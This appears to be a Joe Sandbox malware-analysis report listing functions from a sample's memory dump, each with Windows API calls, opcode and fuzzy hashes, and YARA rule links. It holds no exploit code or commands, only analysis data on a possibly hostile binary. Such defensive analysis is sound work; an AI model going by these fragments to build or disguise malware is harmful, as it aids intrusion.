Opcode ID: 5d88ae40eab6f800645eaf0b2e1127ea0927f03f85c6e663ea3629b0eb1e4459
Instruction ID: 445eb5753e8f4233906373572e1617a56e3be470f31ea7f5fac2e15771077f16
Opcode Fuzzy Hash: 5d88ae40eab6f800645eaf0b2e1127ea0927f03f85c6e663ea3629b0eb1e4459
Instruction Fuzzy Hash: E721D5749246289BDB248F64CC85AEDB7BCFF05324F108216F969EA1C1D7708995CF50

Function 00230930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00230951
GetForegroundWindow.USER32 ref: 00230968
GetDC.USER32(00000000), ref: 002309A4
GetPixel.GDI32(00000000,?,00000003), ref: 002309B0
ReleaseDC.USER32(00000000,00000003), ref: 002309E8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 9a27e9143e19d6c0d28734003911400eba7e692c5ed74c32778801a011a1a826
Instruction ID: 2d47ddb32deea60f46b26b4bcd5508c6cf43aca1a71f4c3fe69d509fdd6a062d
Opcode Fuzzy Hash: 9a27e9143e19d6c0d28734003911400eba7e692c5ed74c32778801a011a1a826
Instruction Fuzzy Hash: 9A21A479600214AFD714EFA8E888AAEB7F9EF45700F158068F84A97762CB70AD04CB50

Function 001ECDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001ECDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001ECDE9

Part of subcall function 001E3820: RtlAllocateHeap.NTDLL(00000000,?,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6,?,001B1129), ref: 001E3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 001ECE0F
_free.LIBCMT ref: 001ECE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001ECE31

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 99ab800f0947addf9becf83ae1c668f97d1be533b4fb159ab7fe5b746728026c
Instruction ID: 0e532a76624708e26e67a26bd105dbb1c91e49b34bd2374f9b45c4535822bd0d
Opcode Fuzzy Hash: 99ab800f0947addf9becf83ae1c668f97d1be533b4fb159ab7fe5b746728026c
Instruction Fuzzy Hash: 2D018476602A957F23251ABB7C8DD7F6D6DEEC7FA13250129F909D7201EB618D0281F0

Function 001C9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 001C9693
SelectObject.GDI32(?,00000000), ref: 001C96A2
BeginPath.GDI32(?), ref: 001C96B9
SelectObject.GDI32(?,00000000), ref: 001C96E2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: c8dd110abf90501ac821e970ae0ada29e0d30c5c8b1d980516654f32168c32fc
Instruction ID: 8daa4436f9598f4b58d808128f1e387266f0b38a6a05d266d7b59d8b9c00e34a
Opcode Fuzzy Hash: c8dd110abf90501ac821e970ae0ada29e0d30c5c8b1d980516654f32168c32fc
Instruction Fuzzy Hash: 26218E38803355EBDB119F68FC0CBA93BA8BB21325F20061AF414A61F1D37098A2CF94

Function 00215711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00215726
_memcmp.LIBVCRUNTIME ref: 00215744
_memcmp.LIBVCRUNTIME ref: 00215757
_memcmp.LIBVCRUNTIME ref: 0021576F
_memcmp.LIBVCRUNTIME ref: 00215787

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 071917a880a310869dfce56137d8662d70fa1b4731ffe71ab0d587a3b7a3ba78
Instruction ID: c4c59fe808cfe758d9b634dd227e719fa32c7bafac43d136f0ea561b4337e740
Opcode Fuzzy Hash: 071917a880a310869dfce56137d8662d70fa1b4731ffe71ab0d587a3b7a3ba78
Instruction Fuzzy Hash: 9C0196656A1615FAD24899109E83FFBB3DDABB63A4B004062FD049A281F760ED7186A0

Function 001E2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,001DF2DE,001E3863,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6), ref: 001E2DFD
_free.LIBCMT ref: 001E2E32
_free.LIBCMT ref: 001E2E59
SetLastError.KERNEL32(00000000,001B1129), ref: 001E2E66
SetLastError.KERNEL32(00000000,001B1129), ref: 001E2E6F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: dbeb025b8ce99e5b63ca80726ca742630ff54423a9e5d9572a5a2a6c3a2bc916
Instruction ID: 650fc22bf56aa1f4bd8df5e5eda42148907c1e0f01bf8f749b778eb2fcc2b1ac
Opcode Fuzzy Hash: dbeb025b8ce99e5b63ca80726ca742630ff54423a9e5d9572a5a2a6c3a2bc916
Instruction Fuzzy Hash: A5012836206EA067C626677B7C5ED2F2A5DABE27B5B324038F425A32D3EF748C014120

Function 0021000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?,?,0021035E), ref: 0021002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?), ref: 00210046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?), ref: 00210054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?), ref: 00210064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?), ref: 00210070

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 51e69050b75a95bbde679337ed56578efcf3b17a4bc15b743423302df46d9204
Instruction ID: 4e18cd1c2a4099d6d95a7e18212b92ec380a4250c2ab430665e0b7ef69813d9a
Opcode Fuzzy Hash: 51e69050b75a95bbde679337ed56578efcf3b17a4bc15b743423302df46d9204
Instruction Fuzzy Hash: 3B01F27A611214BFDB114F68EC88BEA7AEDEF58791F204024F801D2210E7B1DED08BA0

Function 0021E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0021E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0021E9A5
Sleep.KERNEL32(00000000), ref: 0021E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0021E9B7
Sleep.KERNEL32 ref: 0021E9F3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: ca4ec96d4a712a808a97832d7fae786d740e46794cd046fa56291d81c3c7f896
Instruction ID: 2ebaecd07f716fab53f0e78d4bf60600a72ef6aa35895f6ba68015c5ac31151d
Opcode Fuzzy Hash: ca4ec96d4a712a808a97832d7fae786d740e46794cd046fa56291d81c3c7f896
Instruction Fuzzy Hash: 9D015B35C1252DDBCF409FE8EC4DAEDBBB8BB19700F110556E906B2140DB7095A087A2

Function 002110F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00211114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 0021112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0021114D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: c8ba3ba9a336d8f648c280b60d83aeac8451e144cdbe96e1dd2a1c6b77df5c2d
Instruction ID: 8afbd939a2b9012f8f065d2ff5f5249b651c220fe20737bbf4ee8d6b17368ed9
Opcode Fuzzy Hash: c8ba3ba9a336d8f648c280b60d83aeac8451e144cdbe96e1dd2a1c6b77df5c2d
Instruction Fuzzy Hash: 4D018179101605BFDB514FA9EC4DEAA7FAEEF86364B200424FA49C3360DB31DC508E60

Function 00210FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00210FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00210FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00210FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00210FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00211002

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 81c2f7794f4fab072f17835341495b0ce7994a39f4ec8d8f2eed940401713951
Instruction ID: 2852ec81b4c5426b3a5b76f610cf0bd321cb4e936eb43d9a804080a8b7855944
Opcode Fuzzy Hash: 81c2f7794f4fab072f17835341495b0ce7994a39f4ec8d8f2eed940401713951
Instruction Fuzzy Hash: ECF06239602311EBD7215FA8EC4DF963FADEF8A761F204414FE49C7251CA70DC908A60

Function 00211014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0021102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00211036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00211045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0021104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00211062

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: fc4b0f89a2362747434dfd93171517e4da80f0e1e16bffba1dd19ce11c8ed527
Instruction ID: 11a56e02865507b9db3e652d26dc9402b515fed783d271c10546e564c8373468
Opcode Fuzzy Hash: fc4b0f89a2362747434dfd93171517e4da80f0e1e16bffba1dd19ce11c8ed527
Instruction Fuzzy Hash: 47F06239602311EBD7215FA9EC4DF963FADEF8A761F200414FE49C7250CA70D890CA60

Function 0022030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 00220324
CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 00220331
CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 0022033E
CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 0022034B
CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 00220358
CloseHandle.KERNEL32(?,?,?,?,0022017D,?,002232FC,?,00000001,001F2592,?), ref: 00220365

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3ebdaefee82bd5b5337d053a793c81467dc09c1fe741ed022cf3a64b8bfe999d
Instruction ID: 2f96db6bd507077138163f383ecd8a33bae45bdfd25766a8a0d2e390f9821aa8
Opcode Fuzzy Hash: 3ebdaefee82bd5b5337d053a793c81467dc09c1fe741ed022cf3a64b8bfe999d
Instruction Fuzzy Hash: 3001A272811B26AFC730AFA6E8C0416FBF5BF503153158A7FD19652932C3B1A964CF80

Function 001ED73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001ED752

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

_free.LIBCMT ref: 001ED764
_free.LIBCMT ref: 001ED776
_free.LIBCMT ref: 001ED788
_free.LIBCMT ref: 001ED79A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f296488ac5aaad2757863b686af0049cd335249675e55509fe5f341e9c823072
Instruction ID: cc7878053bd095be1262853dcdecf9e983e44a5cd96d0877d45de549a46b7283
Opcode Fuzzy Hash: f296488ac5aaad2757863b686af0049cd335249675e55509fe5f341e9c823072
Instruction Fuzzy Hash: 94F09632900A98AB8625EB76F9C7C1E77DDBB04318BA51C09F04CE7502C734FCC08661

Function 00215C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00215C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00215C6F
MessageBeep.USER32(00000000), ref: 00215C87
KillTimer.USER32(?,0000040A), ref: 00215CA3
EndDialog.USER32(?,00000001), ref: 00215CBD

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: be1dfd4c5123aaf125f3ea24dae3ba7fe65b2880456802c1f7b1203fb8a7829b
Instruction ID: afad14b6eb0b356ac206a1ab19b6905a75fa97f178230950ca6756eec598fdb7
Opcode Fuzzy Hash: be1dfd4c5123aaf125f3ea24dae3ba7fe65b2880456802c1f7b1203fb8a7829b
Instruction Fuzzy Hash: A401D634511B14EBEB215F14ED4EFE677FCBB51B01F0001AAB683A10E0DBF4A9948A90

Function 001E22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001E22BE

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

_free.LIBCMT ref: 001E22D0
_free.LIBCMT ref: 001E22E3
_free.LIBCMT ref: 001E22F4
_free.LIBCMT ref: 001E2305

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e3b13d72bda0825a5d8ed87bf08640dba8c54c163ad0e0d546c4fee59286ecfb
Instruction ID: d6ca8b38e9bb9037032bab62aacad6769b57dcdf5d79695158cdd3a3c6d84a87
Opcode Fuzzy Hash: e3b13d72bda0825a5d8ed87bf08640dba8c54c163ad0e0d546c4fee59286ecfb
Instruction Fuzzy Hash: 85F054B94029748B8627AF65BC5A80C3B6CF738760711550AF518D72B6CB3404629FE5

Function 001C95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 001C95D4
StrokeAndFillPath.GDI32(?,?,002071F7,00000000,?,?,?), ref: 001C95F0
SelectObject.GDI32(?,00000000), ref: 001C9603
DeleteObject.GDI32 ref: 001C9616
StrokePath.GDI32(?), ref: 001C9631

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 87420341f67da84129aa82e6486b78f8eafffe2ed75022c8b9ebc63be7d8cfb2
Instruction ID: 041165ffe2e7b377dc57035ace0d26b2e48464c2cc4b38a1bdb8cc41f46c35ed
Opcode Fuzzy Hash: 87420341f67da84129aa82e6486b78f8eafffe2ed75022c8b9ebc63be7d8cfb2
Instruction Fuzzy Hash: B3F04938007688EBDB265F69FD1CB683F69BB12322F148218F429550F2C73089A6DF20

Function 001E0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 001E10F9
__freea.LIBCMT ref: 001E1117

Part of subcall function 001E1537: _free.LIBCMT ref: 001E154F

Strings

am/pm, xrefs: 001E117A
a/p, xrefs: 001E11DE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 9e284516305cc23f24336508740e507838964853d476cf193ca3c16be52e48e6
Instruction ID: 8d21ac3afbd2f09bd5225618bf5d820a66e592acec64acb4ae79dc46eb170715
Opcode Fuzzy Hash: 9e284516305cc23f24336508740e507838964853d476cf193ca3c16be52e48e6
Instruction Fuzzy Hash: CBD13871900AC6FBCB289F6AC845BFEB7B1FF05710F290159EA01AB654D3759D80CB91

Function 002361D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

